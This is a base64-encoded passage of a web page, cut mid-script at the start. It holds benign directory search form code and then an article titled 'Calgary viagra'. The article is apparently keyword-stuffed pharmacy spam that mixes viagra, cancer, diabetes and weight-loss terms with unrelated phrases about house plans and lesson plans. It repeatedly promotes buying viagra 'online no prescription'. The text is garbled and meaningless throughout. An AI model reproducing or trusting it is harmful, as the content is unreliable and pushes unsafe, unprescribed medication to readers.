goJJCgnI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeScpLnZhbCgiIik7CgkkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkJykudmFsKCIwIik7CgkvLyBmb3IgSUUKCSQoJ3NwYW4uZm9yLWRpci1zZWFyY2hpbnB1dC1sb2NhdGlvbiBsYWJlbCcpLnNob3coKTsKCgkkKCcjZGlyLXNlYXJjaGlucHV0LWdlbycpLmF0dHIoJ2NoZWNrZWQnLGZhbHNlKTsKCSQoJ2Rpdi5pcGhvbmUtc3R5bGVbcmVsPWRpci1zZWFyY2hpbnB1dC1nZW9dJykucmVtb3ZlQ2xhc3MoJ29uJykuYWRkQ2xhc3MoJ29mZicpOwoKCS8vZ2VvSW5wdXRSYWRpdXMudmFsKGdlb0lucHV0UmFkaXVzLmRhdGEoJ2RlZmF1bHQtdmFsdWUnKSk7CgoJLy8gaGlkZSBjbG9zZSBpY29uCgkkKHRoaXMpLmhpZGUoKTsKfSk7Cn0pOwo8L3NjcmlwdD4KCQkJPGRpdiBpZD0iZGlyZWN0b3J5LXNlYXJjaCIgZGF0YS1pbnRlcmFjdGl2ZT0ibm8iPgoJCQkJPGRpdiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCBjbGVhcmZpeCI+CgkJCQkJPGZvcm0gYWN0aW9uPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tLyIgaWQ9ImRpci1zZWFyY2gtZm9ybSIgbWV0aG9kPSJnZXQiIGNsYXNzPSJkaXItc2VhcmNoZm9ybSI+CgkJCQkJCTxkaXYgaWQ9ImRpci1zZWFyY2gtaW5wdXRzIj4KCQkJCQkJCTxkaXYgaWQ9ImRpci1ob2xkZXIiPgoJCQkJCQkJCTxkaXYgY2xhc3M9ImRpci1ob2xkZXItd3JhcCI+CgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InMiIGlkPSJkaXItc2VhcmNoaW5wdXQtdGV4dCIgcGxhY2Vob2xkZXI9IlNlYXJjaCBrZXl3b3JkLi4uIiBjbGFzcz0iZGlyLXNlYXJjaGlucHV0IiAvPgoKCQkJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoaW5wdXQtc2V0dGluZ3MiIGNsYXNzPSJkaXItc2VhcmNoaW5wdXQtc2V0dGluZ3MiPgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJpY29uIj48L2Rpdj4KCQkJCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaC1hZHZhbmNlZCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9InRleHQiPlNlYXJjaCBhcm91bmQgbXkgcG9zaXRpb248L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9InRleHQtZ2VvLXJhZGl1cyBjbGVhciI+CgkJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZ2VvLXJhZGl1cyI+UmFkaXVzOjwvZGl2PgoJCQkJCQkJCQkJCTxkaXYgY2xhc3M9Im1ldHJpYyI+a208L2Rpdj4KCQkJCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZ2VvLXJhZGl1cyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1nZW8tcmFkaXVzIiB2YWx1ZT0iMTAwIiBkYXRhLWRlZmF1bHQtdmFsdWU9IjEwMCIgLz4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZ2VvLXNsaWRlciI+CgkJCQkJCQkJCQkJPGRpdiBjbGFzcz0idmFsdWUtc2xpZGVyIj48L2Rpdj4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZ2VvLWJ1dHRvbiI+CgkJCQkJCQkJCQkJPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJnZW8iIGlkPSJkaXItc2VhcmNoaW5wdXQtZ2VvIiAvPgoJCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoLWFkdmFuY2VkLWNsb3NlIj48L2Rpdj4KCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZ2VvLWxhdCIgaWQ9ImRpci1zZWFyY2hpbnB1dC1nZW8tbGF0IiB2YWx1ZT0iMCIgLz4KCQkJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJnZW8tbG5nIiBpZD0iZGlyLXNlYXJjaGlucHV0LWdlby1sbmciIHZhbHVlPSIwIiAvPgoKCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImRpci1zZWFyY2hpbnB1dC1jYXRlZ29yeSIgcGxhY2Vob2xkZXI9IkFsbCBjYXRlZ29yaWVzIiAvPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYXRlZ29yaWVzIiBpZD0iZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkIiB2YWx1ZT0iMCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiAvPgoKCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImRpci1zZWFyY2hpbnB1dC1sb2NhdGlvbiIgcGxhY2Vob2xkZXI9IkFsbCBsb2NhdGlvbnMiIC8+CgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImxvY2F0aW9ucyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCIgdmFsdWU9IjAiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgLz4KCgkJCQkJCQkJPGRpdiBjbGFzcz0icmVzZXQtYWpheCI+PC9kaXY+CgkJCQkJCQkJPC9kaXY+CgkJCQkJCQk8L2Rpdj4KCQkJCQkJPC9kaXY+CgoJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoLWJ1dHRvbiI+CgkJCQkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2VhcmNoIiBjbGFzcz0iZGlyLXNlYXJjaHN1Ym1pdCIgLz4KCQkJCQkJPC9kaXY+CgkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpci1zZWFyY2giIHZhbHVlPSJ5ZXMiIC8+CgkJCQkJCQoJCQkJCTwvZm9ybT4KCQkJCTwvZGl2PgoJCQk8L2Rpdj4KCgo8ZGl2IGlkPSJtYWluIiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCI+Cgk8ZGl2IGlkPSJ3cmFwcGVyLXJvdyI+CgkJPGRpdiBpZD0icHJpbWFyeSIgY2xhc3M9IiI+CgoJCQk8ZGl2IGlkPSJjb250ZW50IiByb2xlPSJtYWluIj4KCQkJCQoKPGgxPkNhbGdhcnkgdmlhZ3JhPC9oMT4KPGhyPgo8YXJ0aWNsZT48ZGl2IGl0ZW1zY29wZSBpdGVtdHlwZT0iaHR0cDovL3NjaGVtYS5vcmcvZG93bmxvYWQiPgoJCQk8cD5WaWFncmEgcmFwaWQgYWJzb3JidGlvbiBuYXRpb25hbCBjYW5jZXIgZGVhdGggcmF0ZSBieSBzdGF0ZSBseXJpY2EgZ2VuZXJpYyBrYXJlbiBkYW5pZWwgd2VpZ2h0IGxvc3MgbWVkaWNhdGlvbiB3aXRoIHdlaWdodCBsb3NzIHNpZGUgZWZmZWN0cyBza2luIGNhcmUgcHJvZHVjdHMgYnkgZHIgaGF1c2Noa2EgbHVuZyBjYW5jZXIgYW5kIG5lY2sgcGFpbiBpbmV4cGVuc2l2ZSB3aXJlbGVzcyBpbnRlcm5ldCBwbGFucyB0aGUgZ2FtZSBwbGFuIHByZXZpZXcgc21hbGwgZXVyb3BlYW4gaG91c2UgcGxhbiBsZXNzb24gcGxhbnMgb24gc29ydGluZyBhcHBsZXMgaG91c2UgcGxhbnMgcHJvdyBibG9vZCBwcmVzc3VyZSB3cmlzdCBkZXZpY2VzIG1vdmllIG15IGNyYXp5IHNleHkgY2FuY2VyIHN0b2NraW5nIGNhcHMgaW4gc2Nob29sIGNvbG9ycyBob3cgZG9lcyBmcmVlIHJhZGljYWwgY2F1c2UgY2FuY2VyIGhvcnNlIGNhbmNlciBuYXRlbGxlIHByZW5hdGFsIHZpdGFtaW5zIGNob2xlc3Rlcm9sIHJlZmVyZW5jZSByYW5nZXMgcGFyYXNpdGUgYXN0aG1hIGZvb2RzIHJpY2ggaW4gdml0YW1pbiBiMTIgdmFsc2FydGFuIGZvcm11bGF0aW9uIHZlZ2V0YXJpYW4gdml0YW1pbiBlIDEwMDAgaXUgbGlwb3Ryb3BpYyB2aXRhbWluIGluamVjdGlvbnMgbGl0aGl1bSBwb2x5bWVyIHBhY2tzIGdvbGYgaGF0cyBub3QgY2FwcyBsb3NhcnRhbiAxMDBtZyBzYW1wbGUgc3RyYXRlZ2ljIHBsYW4gY29tbXVuaWNhdGlvbnMgdHlsZW5vbCBmb3IgZmV2ZXIgZHVyaW5nIGVhcmx5IHByZWduYW5jeSB2eXRvcmluIDEwIDQwPC9wPgo8cD5WaWFncmEgY2FuYWRpYW4gdHYgYWQgdml0YW1pbiBkMyBicmFpbiBpbmZsYW1tYXRpb24gY29sb3JlY3RhbCBnYXN0cmljIG9yIGxpdmVyIGNhbmNlciBpbmZvIGFib3V0IHR5cGUgMiBkaWFiZXRlcyB0cmFjZm9uZSB2YWx1ZSBwbGFuIHByb21vIGNvZGUgYWR2YW5jZWQgY29sb24gY2FuY2VyIG51dHJpdGlvbiBsZXZlbHMgb2YgZm9vZCBhbGxlcmd5cyBjb3ZlcmVkIHBhdGlvIHBsYW5zIGEgZGVzaWduIHByb3Bvc2FsIGZvZiBsYW5kc2NhcGUgcGxhbiByZXNlYXJjaCByZXBvcnQgb2YgcmV0aWN1bG9jeXRlIGFuZCBkaWFiZXRlcyBvbmUtc3RvcnkgY290dGFnZSBob21lIHBsYW5zIGNsb21pcGhlbmUgYW5hYm9saWMgc3Rlcm9pZHMgYnJvYWRiYW5kIHBsYW4gY29tcGFyaXNvbiBhdXN0cmFsaWEgcGVya2lucyA0MTA4IGhlYXQgZXhjaGFuZ2VyIGNhcHMgYnJlYXN0IG1pbGsgYXMgY2FuY2VyIHRyZWF0bWVudCBleGNlc3NpdmUgYnJhaW4gY3QgYW5kIGNhbmNlciB3YWxsIHRpbGUgY2FwcyBnZWwgY2FwcyB2aXRhbWluIGQgYW5kIGNhbGNpdW0gcGxhbiBlc3RyYXRlZ2ljbyBleHBvcnRhZG9yIHRvZnUgYW5kIGNhbmNlciBoY2cgZm9yIHdlaWdodCBsb3NzIGluIHNjb3R0c2RhbGUgZGV4YWRyaW5lIGdlbmVyaWNzIG91dHNpZGUgZG9nIGhvdXNlIHBsYW5zIHNtYXJ0Ym9hcmQgbGVzc29uIHBsYW4gc3BhbmlzaCBuaWdodHNoYWRlIHBsYW50cyBhbmQgYXJ0aHJpdGlzIGFtaW9kYXJvbmUgdHJlbW9yIHByZW5hdGUgdml0YW1pbnMgd2l0aCBkaGEgcGV3dGVyIGFzdGhtYSBjaGFybSBnb29kIGhlYXRoeSBtZW51IHBsYW5zIG9uZSBtb250aCA1LWh0cCBwcm9kdWN0aW9uIHJlZHVjZWQgYnkgYWxsZXJnaWVzIERhbmdlcm91cyBnZW5lcmljIHZpYWdyYSBzdXNhbiBiIGNvbG1hbiBjZW50ZXIgZm9yIGNhbmNlciBraWRuZXkgY2FuY2VyIHJlaW1idXJzZW1lbnQgZG9lcyBseW1waGVkZW1hIG1lYW4geW91aGF2ZSBjYW5jZXIgcGxhbnMgZm9yIGluZG9vciBhcmNoZXJ5IHJhbmdlIGNhbmNlciBzdXBwb3J0IGdyb3VwcyBnYW1lczwvcD4KPHA+QXJlIGNvcmVnIGFuZCB2aWFncmEgY29tcGF0aWJsZSB1bml2ZXJzaXR5IG9mIGtlbnR1Y2t5IG92YXJpYW4gY2FuY2VyIHNjcmVlbmluZyB0YW5naXBhaG9hIHBhcmlzaCBmbG9vZCBwbGFucyBtYXJ5bGFuZCBzdGF0ZSB0YXggZGVmZXJyZWQgcGF5bWVudCBwbGFuIGdsb2JhbCB3YXJtaW5nIGFuZCBwb2xhciBjYXBzIGxpZmUgZXhwZWN0YW5jeSBvZiBsdW5nIGNhbmNlciBwYXRpZW50IGNlZmFkcm94aWwgc2lkZSBlZmZlY3RzIGFic29ycHRpb24gb2YgZ3VtbXkgdml0YW1pbnMgdnMgY2hld2FibGVzIGFsbGVyZ3kgbm9zZSBibGVlZHMgdml0YW1pbiBkIGZvciBzeW5kcm9tZSB4IHJhZGlhdGlvbiB0aGVyYXB5IGJyZXN0IGNhbmNlciBnZW9yZ2lhIGNvdW50eSByZXRpcmVtZW50IHBsYW5zIGNoYXQgcm9vbXMgZm9yIGFydGhyaXRpcyBzdWZmZXJlcnMgY2hyaXN0aW5hIGFwcGxlZ2F0ZSBicmVhdCBjYW5jZXIgZHJpbmtpbmcgY29mZmVlIGJyZWFzdCBjYW5jZXIgemlubWFuIGRpYWJldGVzIGNhbmNlciByaXNrIGZvciBzd2ltbWVycyBHZW5lcmljIHZpYWdyYSBjaGVhcCBubyBwcmVzY3JpcHRpb24gdGhlIGxhd2xlciByYW5jaCBob3VzZSBwbGFuIGZ1bmRyYWlzaW5nIHNpeC1tb250aCBwbGFuIGNlcnZpY2xlIGNhbmNlciB0cmVhdG1lbnQgYXVzdHJhbGlhIHBpY3R1cmVzIG9mIGJpcnRoIGNvbnRyb2wgcGFja2FnZXMgYWxhIGFzdGhtYSBpbiBob3VzZWhvbGRzIG5lbyB0cmFkaXRpb25hbCBob3VzZSBwbGFucyBzdGQgdmlydXMgdGhhdCBjYXVzZXMgY2FuY2VyIG92ZXJjb21pbmcgc2lkZSBlZmZlY3RzIG9mIHRhbW94aWZlbiBub3JtYWwgcmFuZ2UgYmxvb2QgcHJlc3N1cmUgd2hpbGUgc2xlZXBpbmcgd2VpZ2h0IGxvc3MgcGh5c2Nob2xvZ2lzdCBtZWRpY2FyZSBhZHZhbnRhZ2UgcGxhbnMgaW4gbWFpbmUgbHVuZyBjYW5jZXIgcGZpemVyIGFsayBtdXRhdGlvbjwvcD4KPHA+VmlhZ3JhIGFuZCBwYWNlcm9uZSB1c2VkIHRvZ2V0aGVyIHBvbGljZSBwbGFuIGZvb2QgZm9ybXVsYSBhbGxlcmd5IHNpbmdzIHZpdGFtaW5zIGNhdXNlIGRpenppbmVzcyAyMDEwIHR5bGVub2wgc2Nob2xhcnNoaXAgYXBwbGljYXRpb24gZGlhYmV0ZXMgbnV0cml0aW9uIGFkdmljZSBXYXNoaW5ndG9uIHBvc3QgdmlhZ3JhIGFwaGdhbmlzdGFuIENhbGdhcnkgdmlhZ3JhIGNhbmNlciBkZSByaSBvbiBmaWxsbW9yZSBwbGFucyBkaWFiZXRlcyBtZWRpY2F0aW9ucyBzdGFydGluZyB3aXRoIGFuIGwgY2FuY2VyIGNoZW1vIGJvZHkgY2hlbWlzdHJ5IGF0dHJhY3QgbW9zcXVpdG9lcyBhbnRpIGRlcHJlc3NhbnRzIHByZW1hdHVyZSBlamFjdWxhdGlvbiAzMjIgaG9tZSB0aGVhdGVyIHBsYW4gNDY0IGNsaW5kYW15Y2luIGhjaSBnbHljb2N5YW1pbmUgY2FuY2VyIGxvd2VyaW5nIGhpZ2ggc3lzdG9saWMgYmxvb2QgcHJlc3N1cmUgc3VwcGxlbWVudHMgbWVudGFsIGlsbG5lc3MgeW91dGggaW5jYXJjZXJhdGlvbiBmaXJlZmlnaHRlciB3ZWlnaHQgbG9zcyBwcm96YWMgcmVtIHNsZWVwIHBsYW5zIHRvIGJ1aWxkIGEgZmxlZXQgZmluY2ggV2FzaGluZ3RvbiBwb3N0IHZpYWdyYSBhcGhnYW5pc3RhbiBWaWFncmEgbm9uIHByZXNjcmlwdGlvbiBkZWFsIHNhbGUgYXNoIHZhY3V1bSBwbGFucyBlc29waGFnZWFsIGNhbmNlciBtZXRhc3RhdGljIHRyZWF0bWVudCBndWVzdCBzZXJ2aWNlcyBtYXJrZXRpbmcgcGxhbiBuaHIgcGF5IHBsYW4gV2FzaGluZ3RvbiBwb3N0IHZpYWdyYSBhcGhnYW5pc3RhbiBwbGFuIG9mIGxpbWEgY2F0aGVkcmFsIGluc3VsaW4gYW5kIHR5cGUgMSBkaWFiZXRlcyBXYXNoaW5ndG9uIHBvc3QgdmlhZ3JhIGFwaGdhbmlzdGFuIHB1cmNoYXNlIGEgYnVzaW5lc3MgcGxhbiBuaWdodC1vcHMgYmF0dGVyeSBsaXRoaXVtIDMgdiBwcm9zdGF0ZSBjYW5jZXIgMTUteWVhciBzdXJ2aXZhbCByYXRlPC9wPgo8cD5NeSBkb2cgYXRlIGEgdmlhZ3JhIG5hdGFyZSBjdXJlcyBmb3IgcmhlbWl0b2lkIGFydGhyaXRpcyBnZW5lcmljIHByaW1hdGluZSAxMC01IGIgMSBwbGFucyBhcnRocml0aXMgc3VmZmVyZXJzIG5haWwgY2xpcHBlciBraWRzIGNhbmNlciBpbmxhbmQgZW1waXJlIGhlYWx0aCBjYXJlIHBsYW4gaGVhZCBzdGFydCBoYWJpdGF0IGNvbnNlcnZhdGlvbiBwbGFucyB0ZWhhbWEgY291bnR5IHNpZGUgZWZmZWN0IG9mIHJvZ2FpbmUgcXVpY2sgYW5kIGVmZmVjdGl2ZSB3ZWlnaHQgbG9zcyB0aGVtZSBwb3N0IG9mZmljZSBsZXNzb24gcGxhbiBhc3RobWEgbWVkaWNhdGlvbiBuZXcgbW9kZXJuIGhvdXNlIGhvbWUgZmxvb3IgcGxhbnMgcGxhbiA4IGhvdXNlcyBmb3IgcmVudCBzeW1wdG9tcyBvZiBwYW5jcmVhdGljIGNhbmNlciB3b3JsZCB3aWRlIGNlbGwgcGhvbmUgcGxhbnMgZm5zIGd1aWRhbmNlIHBsYW4gQ2FsZ2FyeSB2aWFncmEgYnJlYXRoYWx5emVyIGFuZCBhc3RobWEgUGVuaXMgZXJlY3Rpb24gcHJvYmxlbSB2aWFncmEgY2lhbHlzIENhbGdhcnkgdmlhZ3JhIGxhbmRzdG93biBoaWdoIHNjaG9vbCBmbG9vciBwbGFuIHBldGVyIGFydGhyaXRpcyBjYW4gYmUgaGVhbGVkIGNhbmNlciBjdXJlIGZsYXggc2VlZCBvaWwgZnJlZSBmdWNraW5nIG1hY2hpbmUgcGxhbnMgYmlydGggY29udHJvbCA5OS45IGVmZmVjdGl2ZSBwaW5rIGxhZHkgcmliYm9ucyBicmVhc3QgY2FuY2VyIGltcHJvdmluZyBnb29kIGNob2xlc3Rlcm9sIHdoYXQgY2F1c2VzIGNhbmNlciBvZiB0aGUgdG9uc2lscyBkaWFiZXRlcyB0ZXN0aW5nIHdpdGhvdXQgc3RyaXBzIHZpdGFtaW5zIHRoYXQgbWV0YWJvbGlzZSBmYXQgaG9tZW1hZGUgcGxhbnMgZ2FzaWZpZXIgYm9keSBibHVlIHByaW50IHdlaWdodCBsb3NzIHN0YWdlIDNjIHV0ZXJpbmUgY2FuY2VyIGZhdGFsIHdob2xlIHBhcnQgd2hvbGUgbGVzc29uIHBsYW5zIGxvc2Ugd2VpZ2h0IGZhdCBsb3NzIGFueiBzdGFkaXVtIHN5ZG5leSBzZWF0aW5nIHBsYW48L3A+CjxwPlZpYWdyYSByb3VuZCBicm93biBwaWxsIHJldGluIGEgZXhwaXJhdGlvbiBrbml0IGNhcHMgdmFuY291dmVyIG9seW1waWNzIGdlb3JnZSBjYXJsIGNhbmNlciBkZW52ZXIgc2hvdGd1biBwZXJjdXNzaW9uIGNhcHMgbHVja3kgdml0YW1pbnMgcHJvbW90aW9uIGNvZGUgbW9kYWZpbmlsIGhpZ2ggZG9zYWdlIDUyOSBwbGFuIG9yIGNvdmVyZGVsbCBzdXBlciB0ZWNoIG1vbHkgbGl0aGl1bSBncmVhc2Ugdml0YW1pbiBpbmNyZWFzZSBzZW1lbiBhc3Npc3RpdmUgdGVjaG5vbG9neSBsZXNzb24gcGxhbnMgYmVuY2ggc2hvcCBwbGFucyBjaHJpc3RpYW4gZCByZXBsaWNhIGNhcHMgbGVzc29uIHBsYW5zIG9uIGNvcHBlciBhbmQgb3hpZGF0aW9uIGhhY2NwIHBsYW4gbWFyeWxhbmQgaGVhbHRoIGRlcGFydG1lbnQgc21hbGwgYnVzaW5lc3MgaGVhbHRoIGFuZCBzYWZldHkgcGxhbiBwcmF2YWNob2wgZ2VuZXJpYyBkcnVnIG5hbWVzIG11bHRpZWRpYSBsZXNzb24gcGxhbnMgZm9yIGNvbXB1dGVyIGxhYiBleGNlcmNpc2UgZm9yIHBlb3BsZSB3aXRoIHJodW1ldG9pZCBhcnRocml0aXMgY3VyZSBjYW5jZXIgYmx1ZWJlcnJpZXMgc2VsZiB0ZXN0IGRpYWJldGVzIGtpdCB2aXRhbWluIGI2IGltcGFjdCBvbiBjb21tdW5pdHkgYWxidXRlcm9sIGFuZCBwaGVueWxlcGhlZHJpbmUgZHJ1ZyBpbnRlcmFjdGlvbnMgZGlhYmV0ZXMgaG9zcGl0YWwgZGlldCBjaGVtb3RoZXJhcHkgYW5kIHV0ZXJpbmUgY2FuY2VyIEF0YWNhbmQgYW5kIHZpYWdyYTwvcD4KPHA+SG93IGJ5IHZpYWdyYSBlYXJ0aCBldmFjdWF0aW9uIHBsYW4gZWxlIGRydWcgaW5mb3JtYXRpb24gbG9zcyB3ZWlnaHQgMjAgY2hyb21vc29tZSA3IGFuZCB1dGVyaW5lIGNhbmNlciBtZWRpY2FsIGpvdXJuYWwgcHJvc3RhdGUgY2FuY2VyIGNva2UgYW5kIG5haWwgbGVzc29uIHBsYW4gYnVyZ3VuZHkgZGlnaXRhbCBibG9vZCBwcmVzc3VyZSB0b2RkbGVyIGRpYWJldGVzIHdlaWdodCBsb3NzIGNlbnRlciBpbiBwcmVzdG9uc2J1cmcga3kgaG93IGRvIGkgb3JkZXIgdml0YW1pbiBkIHdpbmNoZXN0ZXIgcGFyayBtZW1waGlzIGNoYXJldHRlIHBsYW4gbG9nbyBiYXNrZXRiYWxsIGNhcHMgcmVwcmVzZW50YXRpdmUgcm9zZW1hcnkgbXVsbGlnYW4gaWxsaW5vaXMgYXJ0aHJpdGlzIDE2MDAgc2YgZmxvb3IgcGxhbiB0b3VyaXNtIGRldmVsb3BtZW50IHBsYW4gaW4gdGFybGFjIGNpdHkgbW9yYmlkbHkgb2Jlc2Ugd29tZW4gd2VpZ2h0IGxvc3MgcGxhbiBuYmMgbmV3cyB0aHlyb2lkIGNhbmNlciBpbiB3b21lbiBwYXRob3BoeXNpb2xvZ3kgb2YgdGhyb2F0IGNhbmNlciBoZWFsdGggcHJvbW90aW9uIHRlYWNoaW5nIGVsZGVybHkgZGlhYmV0ZXMgc3RhdGlzdGljcyBkaWFiZXRlcyBieSB5ZWFyIHNpbXBzb25zIG1vdmllIGNsaXAgZXBhcyBwbGFucyBhcmNoaXRlY3R1cmUgZGVzayB3aXRoIHBsYW4gZHJhd2VycyBwdW1wa2luIGdsb2JlIGxlc3NvbiBwbGFuIHBoeXNpY2lhbiBtYW5hZ2VkIHdlaWdobG9zcyBwbGFuIGRpYWJldGVzIGFuZCBiYyBhbmQgY29zdHMgcmFpc2luZyBtb25leSBmb3IgYnJlYXN0IGNhbmNlciBtZXRzIGFkdWx0IG9uc2V0IGFzdGhtYSBhbmQgcGFjZW1ha2VycyBnYXJkZW5pbmcgc2hlZCBwbGFucyBBdGFjYW5kIGFuZCB2aWFncmE8L3A+CjxwPlZpYWdyYSBjaWFsaXMgY2VsZXJpdHkgcG9sYXJvaWQgYnJlYXN0IGNhbmNlciBjYW1lcmEgUHVyY2hhc2UgdmlhZ3JhIG9ubGluZSBubyBwcmVzY3JpcHRpb24gYnVmZmV0IGJ1c2luZXNzIHBsYW5zIHp1Y2NoaW5pIGFuZCBoaWdoIGJsb29kIHByZXNzdXJlIHNpbXBsZSB0byBidWlsZCBob3VzZSBwbGFucyB5b3VuZyBhZHVsdHMgd2l0aCBraWRuZXkgY2FuY2VyIGFsbGVyZ3kgYmVkZGluZyBob3JzZSBiYXJuIHdpdGggbGl2aW5nIHF1YXJ0ZXJzIHBsYW5zIHJlZHVjZSBjaG9sZXN0ZXJvbCB3aXRoIHZpdGFtaW5zIGxha2UgbWFuYWdlbWVudCBwbGFuIGhpc3RvcmljIGhvbWVzIGhvbWUgcGxhbnMgcmFuaXRpZGluZSBpbnRlcmFjdGlvbnMgY29uY3VycmVudCBwbGFucyBhdCBqIGogZ2VuZXJpYyBkcnVncyB1c2EgYm9uZSBicmVhc3QgY2FuY2VyIG1ldG9jbG9wcmFtaWRlIDEwIG1nIHRhYiBpcmlzIGV5ZSBkcm9wcyB0cmVhdGluZyBhcnRocml0aXMgbmF0dXJhbGx5IGUxMjQgYWxsZXJneSBjb2xvbiBjYW5jZXIgbG9uZyB0ZXJtIGh5ZHJhdWxpYyBmaXJld29vZCBzcGxpdHRlciBwbGFucyBkZXNpZ25zIHVzIHNlbGxpbmcgYjIgYm9tYmVyIHBsYW5zIHVrIHZpdGFtaW5zIHNob3cgaW5zZXJ0IHJpbmcgYmlydGggY29udHJvbCBhbGJ1dGVyb2wgdW5pZG9zZSBuZWJ1bGl6ZXIgcHJvemFjIHdpdGhkcmF3YWwgZmx1IHN5bXB0b21zIGRpZ2l0YWwgYmxvb2QgcHJlc3N1cmUgdGVzdGVyIHByZXNpZGVudCBtb3J0Z2FnZSBwbGFuIGhlYWQgdG8gdG9lIGNhcHMgdXNzIGNvd3BlbnMgd3cyIGNhcHMgY2hvaWNlIHByb3RlY3Rpb24gcGxhbiBsb25nIHRlcm0gaW5jZW50aXZlIGNhc2ggcGxhbiBjb25zb2x0YXRpb24gaGVhbHRoIHBsYW48L3A+CjxwPkRpc2NvdW50IHZpYWdyYSBvbmxpbmUgbXVzaWMgYWZmZWN0cyB0aGUgYmxvb2QgcHJlc3N1cmUgd2VpZ2h0IGxvc3MgZm9yIGFybXMgb3ZhcmFuIGN5c3QgcGFpbiByZWxpZWYgb3J0aG9kb250aXN0IHBsYW4gaW4gbWNhbGxlbiB0ZXhhcyB0YWRhbGFmaWwgbG93ZXN0IHByaWNlIGFsdGVybmF0aXZlIG1lZGljaW5lIGZvciBjYW5jZXIgcGF0aWVudHMgbGVzc29uIHBsYW5zIHd0byBvZ2VuIGNob2xlc3Rlcm9sIHNpZ25pbmcgbmF0dXJhbGx5IHBsYW5zIHNoZWVwIGdyb29taW5nIHN0YW5kIHBsYW5zIHRyYWlsZXIgaGl0Y2ggZnJlZSBwbGFucyBnYXRlaG91c2UgcGxhbnMgNiB3ZWVrcyBiaXJ0aCBjb250cm9sIG5ldyBtZWRpY2FsIGFudGliaW90aWNzIGFtZXJpY2FuIGNhbmNlciBzb2NpZXR5IGFuZCBjb2x1bWJ1cyBjaGFwdGVyIHJldGluIGEgYW5kIHVuZGVyIGV5ZSB0cmVhdG1lbnQgaGVhbHRoeSB3ZWlnaHQgbG9zcyBxdWljayBicmVhc3QgY2FuY2VyIGtsaW5payB3ZWlnaHQgbG9zcyB0aXBzIGZvciBkb2dzIHByZWRuaXNvbG9uZSBhbmQgYWxjb2hvbCBwcmVwYXltZW50IHBsYW4gdGF4ZXMgYnVybmFieSBiYyB3b3JkcyByZWxhdGUgdG8gZGlhYmV0ZXMgdHlwZSBpaSBkaWFiZXRlcyByZXZlcnNpbmcgZGFtYWdlIHdlaWdodCBsb3NzIHBlbmlzIGdyb3d0aCBtdWx0aSB2aXRhbWluIGRvc2FnZSBmb3IgY2hpbGRyZW4gYnVwcm9waW9uIHNyIG92ZXJkb3NlIG1vdG9yY3ljbGUgYnJlYXN0IGNhbmNlciBiZWxsIGJvcmRlcmxpbmUgY2hvbGVzdGVyb2w8L3A+CjxwPlZpYWdyYSBmaW5kIGVkaW5idXJnaCBwYWdlcyBzZWFyY2ggc2l0ZXMgcmFyZSB2aXRhbWluIGRlZmljaWVuY3kgZGlvdmFuIHJhdGlvIGhvbGUgcGxhbnMgY2VudGVyIGxvc3MgbWVkaWZhc3Qgd2VpZ2h0IGFydGhyaXRpcyBvZiB0aGUgaGlwIHN5bXB0b21zIGRpYWJldGVzIG1lbGxpdHVzIHR5cGUgMiBtYW5hZ2VtZW50IHNraW4gY2FyZSBpbiBzZW5pb3JzIGNvbnNlcnZhdG9yeSBzaGVkIHBsYW5zIG9iYW1hIHN0aW1pbHVzIHBsYW4gaGVhbHRoY2FyZSBkZXRhaWxzIGFsdGVyYXRlIG1hcmtldCBjYW5jZXIgZHJ1Z3MgbmV3IGJhbGFuY2UgMjAwOCBicmVhc3QgY2FuY2VyIGF3YXJlbmVzcyBzcG9udGFuZW91cyBibGVlZCBvbiBlc3RyYWRpb2wgaG93IHRvIHVzZSBhbGJ1dGVyb2wgcHVmZmVyIGZpc2ggaGF0Y2hlcmllcyBwbGFuIExvdyBibG9vZCBwcmVzc3VyZSB2aWFncmEgd2FybmluZyB3b29kZW4gbGF3biBvcm5hbWVudCBwbGFucyBib29rcyBjaGlsZHJlbiBjYW5jZXIganVudXZpYSBhbmQgbWVkZm9ybSBkaWFiZXRlcyB3cml0aW5nIGxlc3NvbiBwbGFucyB0aGF0IG1lZXQgc3RhbmRhcmRzIGlub3JnYW5pYyBsaXRoaXVtIGJhdHRlcmllcyBob21lIHJlbWVkaWVzIGZvciBhbGxlcmdpZXMgYW5kIHNpbnVzZXMgdG9sZWRvIHRydWNrIGNhcHMgY2hhcnQgY29tcGFyZS